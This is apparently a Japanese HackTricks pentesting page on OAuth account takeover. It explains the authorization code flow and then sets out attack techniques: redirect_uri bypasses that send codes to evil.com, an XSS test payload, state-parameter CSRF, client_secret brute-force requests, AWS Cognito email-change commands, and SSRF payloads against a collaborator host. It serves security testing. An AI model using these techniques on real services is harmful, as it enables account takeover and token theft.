30 KiB
OAuthを使用したアカウント乗っ取り
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか？ HackTricksで会社を宣伝したいですか？または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか？SUBSCRIPTION PLANSをチェックしてください！
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS＆HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
基本情報
OAuthにはいくつかの異なるバージョンがあります。https://oauth.net/2/を読んで基本的な理解を得ることができます。
この記事では、現在最も一般的なフローであるOAuth 2.0認可コードグラントタイプに焦点を当てます。要するに、OAuthは開発者に対して、別のアプリケーションからアカウントに対してデータにアクセスしたり、特定のアクションを実行するための認可メカニズムを提供します（認可サーバー）。
例えば、ウェブサイト_https://yourtweetreader.com_には、送信したすべてのツイート（プライベートツイートも含む）を表示する機能があります。これを実現するために、OAuth 2.0が導入されます。_https://yourtweetreader.com_は、Twitterアプリケーションがすべてのツイートにアクセスするためにあなたの許可を求めます。同意ページが_https://twitter.com_に表示され、どのような権限が要求されているか、そして要求している開発者が誰かが表示されます。リクエストを承認すると、_https://yourtweetreader.com_はあなたの代わりにツイートにアクセスできるようになります。
OAuth 2.0のコンテキストで理解する必要がある要素：
- リソースオーナー：
リソースオーナーは、保護されたリソース（Twitterアカウントのツイートなど）へのアクセスを許可するユーザー/エンティティです。この例では、これはあなたです。 - リソースサーバー：
リソースサーバーは、アプリケーションがリソースオーナーの代わりにアクセストークンを取得した後に認証されたリクエストを処理するサーバーです。この例では、これはhttps://twitter.comです。 - クライアントアプリケーション：
クライアントアプリケーションは、リソースオーナーから認可を要求するアプリケーションです。この例では、これはhttps://yourtweetreader.comです。 - 認可サーバー：
認可サーバーは、リソースオーナーを正常に認証し、認可を取得した後にクライアントアプリケーションにアクセストークンを発行するサーバーです。上記の例では、これはhttps://twitter.comです。 - client_id：
client_idは、アプリケーションの識別子です。これは公開された非秘密の一意の識別子です。 - client_secret：
client_secretは、アプリケーションと認可サーバーの間でのみ知られている秘密です。これはアクセストークンを生成するために使用されます。 - response_type：
response_typeは、要求されているトークンのタイプ（codeなど）を詳細に示す値です。 - scope：
scopeは、クライアントアプリケーションがリソースオーナーから要求しているアクセスレベルです。 - redirect_uri：
redirect_uriは、認可が完了した後にユーザーがリダイレクトされるURLです。これは通常、事前にサービスに登録したリダイレクトURLと一致する必要があります。 - state：
stateパラメータは、ユーザーが認可サーバーにリダイレクトされ、再び戻ってくる間にデータを保持するために使用されます。これは一意の値であることが重要であり、リクエストごとに一意またはランダムな値を含む場合はCSRF保護メカニズムとして機能します。 - grant_type：
grant_typeパラメータは、グラントタイプと返されるトークンを説明します。 - code：この
codeは、このリクエストのクエリ文字列パラメータ「code」にある認可サーバーから受け取った認可コードです。このコードは、クライアントアプリケーションがclient_idとclient_secretと共に使用してaccess_tokenを取得するために使用されます。 - access_token：
access_tokenは、リソースオーナーの代わりにクライアントアプリケーションがAPIリクエストを行うために使用するトークンです。 - refresh_token：
refresh_tokenは、ユーザーにプロンプトを表示せずに新しいaccess_tokenを取得するためのものです。
実際の例
これらをすべて組み合わせると、実際のOAuthフローは次のようになります：
- https://yourtweetreader.comにアクセスし、「Twitterと連携する」ボタンをクリックします。
- https://yourtweetreader.comは、リソースオーナーであるあなたに対して、https://yourtweetreader.comのTwitterアプリケーションがツイートにアクセスするための許可を求めるリクエストをhttps://twitter.comに送信します。リクエストは次のようになります：
https://twitter.com/auth
?response_type=code
&client_id=yourtweetreader_clientId
&redirect_uri=https%3A%2F%2Fyourtweetreader.com%2Fcallback
&scope=readTweets
&state=kasodk9d1jd992k9klaskdh123
3. 同意ページが表示されます:
4. 承認されると、Twitterはredirect_uriにcodeとstateパラメータを含んだリクエストを送信します:
https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1&state=kasodk9d1jd992k9klaskdh123
5. https://yourtweetreader.comは、そのcodeを取得し、自分たちのアプリケーションのclient_idとclient_secretを使用して、サーバーにリクエストを行い、あなたの代わりにaccess_tokenを取得します。これにより、彼らはあなたが同意した権限にアクセスすることができます。
POST /oauth/access_token
Host: twitter.com
...{"client_id": "yourtweetreader_clientId", "client_secret": "yourtweetreader_clientSecret", "code": "asd91j3jd91j92j1j9d1", "grant_type": "authorization_code"}
6. 最後に、フローが完了し、https://yourtweetreader.com はあなたの access_token を使用してTwitterにAPIコールを行い、あなたのツイートにアクセスします。
バグバウンティの発見
さて、興味深い部分です！OAuthの実装では、多くの問題が発生する可能性があります。以下は、私が頻繁に見るバグの異なるカテゴリです。
弱い redirect_uri の設定
redirect_uri は非常に重要です。なぜなら、認可後に code のような機密データがこのURLに追加されるからです。もし redirect_uri が攻撃者が制御するサーバーにリダイレクトされることができれば、攻撃者は code を使用して被害者のアカウントを乗っ取ることができ、被害者のデータにアクセスすることができます。
この問題を悪用する方法は、認可サーバーによって異なります。一部のサーバーは、クライアントアプリケーションで指定された正確に同じ redirect_uri パスのみを受け入れる場合がありますが、一部のサーバーは、redirect_uri のドメインまたはサブディレクトリ内の任意のものを受け入れる場合があります。
サーバーが処理するロジックによっては、redirect_uri をバイパスするためのさまざまなテクニックがあります。例えば、redirect_uri が https://yourtweetreader.com/callback の場合、以下のような方法があります：
- オープンリダイレクト：
https://yourtweetreader.com/callback?redirectUrl=https://evil.com - パストラバーサル：
https://yourtweetreader.com/callback/../redirect?url=https://evil.com - 弱い
redirect_uriの正規表現：https://yourtweetreader.com.evil.com - HTMLインジェクションとrefererヘッダーを介したトークンの盗み出し：
https://yourtweetreader.com/callback/home/attackerimg.jpg
オープンリダイレクトの脆弱性がある可能性のある他のパラメータには以下があります：
- client_uri - クライアントアプリケーションのホームページのURL
- policy_uri - リレーパーティクライアントアプリケーションが提供する、エンドユーザーがプロファイルデータの使用方法について読むことができるURL
- tos_uri - リレーパーティクライアントが提供する、エンドユーザーがリレーパーティの利用規約について読むことができるURL
- initiate_login_uri - RPによってログインを開始するためにサードパーティが使用できるhttpsスキームを使用したURI。クライアント側のリダイレクトにも使用する必要があります。
これらのパラメータは、OAuthおよびOpenIDの仕様によればオプションであり、特定のサーバーで常にサポートされているわけではないため、サポートされているパラメータを特定する価値があります。
OpenIDサーバーを対象にする場合、**.well-known/openid-configuration**には、"registration_endpoint"、"request_uri_parameter_supported"、"require_request_uri_registration"などのパラメータが含まれることがあります。これらは、登録エンドポイントやその他のサーバーの設定値を見つけるのに役立ちます。
リダイレクトの実装におけるXSS
このバグバウンティレポート https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html で言及されているように、リダイレクトのURLがユーザーの認証後にサーバーのレスポンスに反映される可能性があり、XSSの脆弱性があるかもしれません。テストする可能性のあるペイロード：
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - 状態パラメータの不適切な処理
非常に頻繁に、stateパラメータは完全に省略されるか、誤った方法で使用されます。もしstateパラメータが存在しないか、変化しない静的な値である場合、OAuthフローは非常に可能性が高くCSRFに対して脆弱になります。時には、stateパラメータが存在していても、アプリケーションがパラメータの検証を行わない場合があり、攻撃が成功します。これを悪用する方法は、自分のアカウントで認可プロセスを進め、認可後に一時停止することです。その後、次のようなリクエストが表示されます：
https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1
このリクエストを受け取った後、通常はこれらのコードは一度だけ使用されるため、リクエストを破棄することができます。その後、このURLをログイン済みのユーザーに送信すると、あなたのアカウントが彼らのアカウントに追加されます。最初は、これは犠牲者のアカウントに自分のアカウントを追加するだけなので、あまり敏感ではないように思えるかもしれません。しかし、多くのOAuthの実装はサインインのために行われるため、Googleアカウントを追加することができれば、Googleアカウントでログインすることで簡単にアカウント乗っ取りを行うことができます。
これに関する例は、CTF writeupとOouchというHTBボックスで見つけることができます。
stateパラメータは追加のリダイレクト値として使用されることもあります。アプリケーションは最初のリダイレクトにredirect_uriを使用しますが、stateパラメータは2番目のリダイレクトとして使用され、クエリパラメータまたはリファラヘッダー内にcodeを含むことがあります。
重要なことは、これは単にログインやアカウント乗っ取りのタイプの状況に適用されるだけではないということです。以下のような設定ミスが見られます。
- Slackの統合により、攻撃者は自分のSlackアカウントをすべての通知/メッセージの受信者として追加できます。
- Stripeの統合により、攻撃者は支払い情報を上書きし、被害者の顧客から支払いを受け取ることができます。
- PayPalの統合により、攻撃者は自分のPayPalアカウントを被害者のアカウントに追加できます。これにより、お金が攻撃者のPayPalに入金されます。
アカウント乗っ取り前
もう1つよく見かける問題は、「Xでサインインする」と「ユーザー名/パスワード」の両方を許可するアプリケーションです。攻撃する方法は2つあります。
- アプリケーションがアカウント作成時にメールの確認を必要としない場合、被害者のメールアドレスと攻撃者のパスワードでアカウントを作成しようとしてみてください。被害者がGoogleなどのサードパーティで登録またはサインインしようとすると、アプリケーションは検索を行い、すでにメールが登録されていることを確認し、その後、被害者のGoogleアカウントを攻撃者が作成したアカウントにリンクする可能性があります。これは「アカウント乗っ取り前」と呼ばれ、被害者が登録する前に攻撃者がアクセスできる状態です。
- OAuthアプリがメールの確認を必要としない場合、被害者のメールアドレスでそのOAuthアプリにサインアップしてみてください。上記と同じ問題が存在するかもしれませんが、被害者のアカウントにアクセスしてアカウント乗っ取りを行うことができます。
秘密の漏洩
OAuthの多くのパラメータが秘密であることを認識し、それらを保護することは非常に重要です。たとえば、client_idの漏洩は完全に問題ありませんが、client_secretの漏洩は危険です。これが漏洩すると、攻撃者は信頼されたクライアントアプリケーションの信頼とアイデンティティを悪用して、ユーザーのaccess_tokenやプライベート情報/アクセスを盗む可能性があります。先ほどの例に戻ると、この手順をクライアントからではなくサーバーから実行する問題があります。
5. https://yourtweetreader.com はそのcodeを取得し、自分のアプリケーションのclient_idとclient_secretを使用して、あなたの代わりにサーバーからaccess_tokenを取得するリクエストを行います。これにより、あなたが同意した権限にアクセスできるようになります。
クライアントから実行すると、client_secretが漏洩し、ユーザーはアプリケーションの代わりにaccess_tokenを生成することができます。ソーシャルエンジニアリングを使えば、OAuthの認可にさらにスコープを追加することもでき、すべてが信頼されたクライアントアプリケーションからのリクエストとして正当に見えます。
クライアントシークレットのブルートフォース
アイデンティティプロバイダとサービスプロバイダのclient_secretをブルートフォースしてアカウントを盗む試みを行うことができます。BFのリクエストは次のようになる場合があります。
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Refererヘッダーの漏洩コード+ステート
クライアントがコードとステートを持っている場合、異なるページに移動する際にRefererヘッダー内に反映されている場合、脆弱性が存在します。
ブラウザの履歴に保存されたアクセストークン
ブラウザの履歴に移動し、アクセストークンが保存されているかどうかを確認します。
永続的な認可コード
認可コードは一定の時間だけ存在するようにすることで、攻撃者がそれを盗み出して使用できる時間枠を制限します。
クライアントにバインドされていない認可/リフレッシュトークン
認可コードを取得し、異なるクライアントで使用できる場合、他のアカウントを乗っ取ることができます。
ハッピーパス、XSS、iframe、ポストメッセージを使用してコードとステートの値を漏洩させる
AWS Cognito
このバグ報奨金レポート：https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/では、AWS Cognitoがユーザーに返すトークンが、ユーザーデータを上書きするための十分な権限を持っている可能性があることがわかります。したがって、異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを乗っ取ることができるかもしれません。
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
詳細な情報については、AWS Cognitoの乱用方法については以下を参照してください：
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
2つのリンクとクッキー
この解説記事によると、攻撃者のホストを指すreturnUrlを持つページを被害者に開かせることが可能でした。この情報はクッキー（RU）として保存され、後のステップでプロンプトがユーザーにその攻撃者のホストへのアクセスを許可するかどうかを尋ねます。
このプロンプトをバイパスするために、Oauthフローを開始し、returnUrlを使用してこのRUクッキーを設定し、プロンプトが表示される前にタブを閉じ、その値がない新しいタブを開くことが可能でした。そのため、プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、リダイレクトでトークンは攻撃者のホストに送信されます。
SSRFパラメータ
見落とす可能性のある隠れたURLの1つは、Dynamic Client Registrationエンドポイントです。ユーザーを正常に認証するために、OAuthサーバーは「client_name」、「client_secret」、「redirect_uris」など、クライアントアプリケーションに関する詳細を知る必要があります。これらの詳細はローカルの設定で提供することもできますが、OAuth認可サーバーには特別な登録エンドポイントも存在する場合があります。このエンドポイントは通常、"/register"にマップされ、以下の形式のPOSTリクエストを受け付けます：
POST /connect/register HTTP/1.1
Content-Type: application/json
Host: server.example.com
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ...
{
"application_type": "web",
"redirect_uris": ["https://client.example.org/callback"],
"client_name": "My Example",
"logo_uri": "https://client.example.org/logo.png",
"subject_type": "pairwise",
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client.example.org/public_keys.jwks",
"contacts": ["ve7jtb@example.org"],
"request_uris": ["https://client.example.org/rf.txt"]
}
このリクエストでパラメータを定義する2つの仕様があります：OAuthのRFC7591とOpenid Connect Registration 1.0です。
ここで見るように、これらの値のいくつかはURL参照を介して渡され、Server Side Request Forgeryの潜在的なターゲットになる可能性があります。同時に、私たちがテストしたほとんどのサーバーは、登録リクエストを受け取ったときにこれらのURLをすぐに解決しないで、これらのパラメータを保存してOAuth認可フローの後で使用します。言い換えれば、これはより高度なSSRFであり、ブラックボックスの検出が困難になります。
以下のパラメータは、SSRF攻撃に特に興味があります：
- logo_uri - クライアントアプリケーションのロゴを参照するURLです。クライアントを登録した後、新しい「client_id」を使用してOAuth認可エンドポイント（"/authorize"）を呼び出してみることができます。ログイン後、サーバーはリクエストの承認を求め、「logo_uri」から画像を表示する場合があります。サーバーが画像を自動的に取得する場合、このステップでSSRFがトリガーされるはずです。代わりに、サーバーはクライアント側の "<img>" タグを使用してロゴを含める場合があります。これはSSRFにはつながりませんが、URLがエスケープされていない場合はXSSにつながる可能性があります。
- jwks_uri - クライアントのJSON Web Key Set [JWK]ドキュメントのURLです。このキーセットは、JWTを使用してクライアント認証を行う場合に、トークンエンドポイントに対して行われる署名済みリクエストの検証にサーバーで必要です[RFC7523]。このパラメータでSSRFをテストするためには、悪意のある「jwks_uri」を使用して新しいクライアントアプリケーションを登録し、任意のユーザーの認可コードを取得してから、以下のボディで"/token"エンドポイントを取得します：
POST /oauth/token HTTP/1.1
...
``
grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...
脆弱な場合、サーバーはリクエストの「client_assertion」パラメータの妥当性をチェックするために、このキーが必要なため、提供された「jwks_uri」に対してサーバー間のHTTPリクエストを実行するはずです。これはおそらくブラインドSSRFの脆弱性になるでしょうが、サーバーは適切なJSONレスポンスを期待しています。
- sector_identifier_uri - このURLは、単一のリダイレクト_uri値のJSON配列を参照しています。サーバーがこれをサポートしている場合、動的登録リクエストを送信するとすぐにこの値を取得する可能性があります。すぐに取得されない場合は、サーバーでこのクライアントの認可を実行してみてください。認可フローを完了するためにリダイレクト_urisを知る必要があるため、サーバーはあなたの悪意のあるsector_identifier_uriにリクエストを行うことになります。
- request_uris - このクライアントの許可されたrequest_urisの配列です。"request_uri"パラメータは、認可エンドポイントでサポートされており、リクエスト情報を含むJWTが含まれるURLを提供するために使用されます（https://openid.net/specs/openid-connect-core-1_0.html#rfc.section.6.2を参照）。
動的クライアント登録が有効になっていない場合、または認証が必要な場合でも、単純に「request_uri」を使用して認可エンドポイントでSSRFを実行することができます：\
GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt
注意：このパラメータを「redirect_uri」と混同しないでください。「redirect_uri」は認可後のリダイレクトに使用されますが、「request_uri」は認可プロセスの開始時にサーバーによって取得されます。
同時に、私たちが見た多くのサーバーは、任意の「request_uri」値を許可していません。クライアント登録プロセス中に事前に登録されたホワイトリストに含まれるURLのみを許可しています。そのため、あらかじめ「request_uris」を「https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt」として提供する必要があります。
OAuthプロバイダの競合状態
テストしているプラットフォームがOAuthプロバイダである場合は、競合状態をテストするためにこれを読んでください。
参考文献
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか？ HackTricksであなたの会社を宣伝したいですか？または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか？SUBSCRIPTION PLANSをチェックしてください！
- The PEASS Familyを見つけて、独占的なNFTのコレクションを見つけてください。
- 公式のPEASS＆HackTricksのスウェットを手に入れましょう。
- 💬 Discordグループまたは